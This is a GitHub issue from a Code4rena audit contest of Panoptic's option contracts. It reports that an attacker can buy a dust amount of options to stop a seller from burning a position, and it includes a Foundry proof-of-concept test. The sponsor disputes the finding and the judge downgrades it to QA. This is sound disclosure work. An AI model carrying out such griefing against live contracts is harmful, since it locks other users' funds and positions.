Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malicious users will purchase dust amount of options to prevent option sellers from burning their options #473

Open
c4-bot-10 opened this issue Apr 22, 2024 · 6 comments
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-b primary issue Highest quality submission among a set of duplicates Q-12 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_312_group AI based duplicate group recommendation sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue

Comments

@c4-bot-10
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L999-L1035
https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/PanopticPool.sol#L836-L847

Vulnerability details

Impact

Option sellers won't be able to close short positions because of existing dust amount of buy, thus might cause a few issues:

  1. Notional amount of tokens can't be withdrawn back to the pool.
  2. Option sellers are not be able to withdraw their deposits from the pool.

Proof of Concept

PanopticPool contract only allows option sellers to burn entire position size of an option.
By using feature/vulnerability, malicious users can buy dust amount of options to prevent option sellers from closing their positions.

Here's a PoC written in Foundry that shows an option seller not being able to close position:

function test_Audit_dosBurn(
    uint256 x,
    uint256 widthSeed,
    int256 strikeSeed,
    uint256 positionSizeSeed
) public {
    // Prepare pool
        _initPool(x);
    (int24 width, int24 strike) = PositionUtils.getOTMSW(
        widthSeed,
        strikeSeed,
        uint24(tickSpacing),
        currentTick,
        0
    );
    populatePositionData(width, strike, positionSizeSeed);

    // Create a short position
    TokenId shortTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(0, 1, isWETH, 0, 0, 0, strike, width);
    TokenId[] memory posIdList = new TokenId[](1);
    posIdList[0] = shortTokenId;
    // Bob sells positionSize amount of options
    vm.startPrank(Bob);
    pp.mintOptions(posIdList, positionSize, 0, 0, 0);

    // Create a buy position
    TokenId longTokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(0, 1, isWETH, 1, 0, 0, strike, width);
    posIdList[0] = longTokenId;
    // Malicious Alice buys dust amount of options, e.g 1e4
    vm.startPrank(Alice);
    pp.mintOptions(posIdList, 1e4, type(uint64).max - 1, 0, 0);

    // Later, Bob tries to burn the position, but not able to burn it
    vm.startPrank(Bob);
    vm.expectRevert();
    pp.burnOptions(shortTokenId, new TokenId[](0), 0, 0);
}

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Option sellers should be able to close partial amount of their positions.
Or, only allow to buy meaningful minimum amount of options.

Assessed type

DoS

@c4-bot-10 c4-bot-10 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Apr 22, 2024
c4-bot-2 added a commit that referenced this issue Apr 22, 2024
@c4-bot-11 c4-bot-11 added the 🤖_312_group AI based duplicate group recommendation label Apr 22, 2024
@c4-judge
Copy link
Contributor

Picodes marked the issue as primary issue

@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label Apr 26, 2024
@dyedm1 dyedm1 added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label Apr 26, 2024
@dyedm1
Copy link
Member

dyedm1 commented Apr 26, 2024

Options sellers can force exercise buyers if they are out-of-range, and they can also sell a smaller position in the same chunk if they want to close their position and it is truly a "dust" amount purchased.

@c4-judge
Copy link
Contributor

c4-judge commented May 6, 2024

Picodes changed the severity to QA (Quality Assurance)

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels May 6, 2024
@Picodes
Copy link

Picodes commented May 6, 2024

Downgrading to Low following the sponsor's answer

@c4-judge c4-judge closed this as completed May 6, 2024
@c4-judge c4-judge added grade-c unsatisfactory does not satisfy C4 submission criteria; not eligible for awards labels May 6, 2024
@c4-judge
Copy link
Contributor

c4-judge commented May 6, 2024

Picodes marked the issue as grade-c

@c4-judge
Copy link
Contributor

c4-judge commented May 6, 2024

Picodes marked the issue as grade-b

@c4-judge c4-judge reopened this May 6, 2024
@c4-judge c4-judge added grade-b and removed grade-c unsatisfactory does not satisfy C4 submission criteria; not eligible for awards labels May 6, 2024
@C4-Staff C4-Staff added the Q-12 label May 13, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-b primary issue Highest quality submission among a set of duplicates Q-12 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_312_group AI based duplicate group recommendation sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue
Projects
None yet
Development

No branches or pull requests

6 participants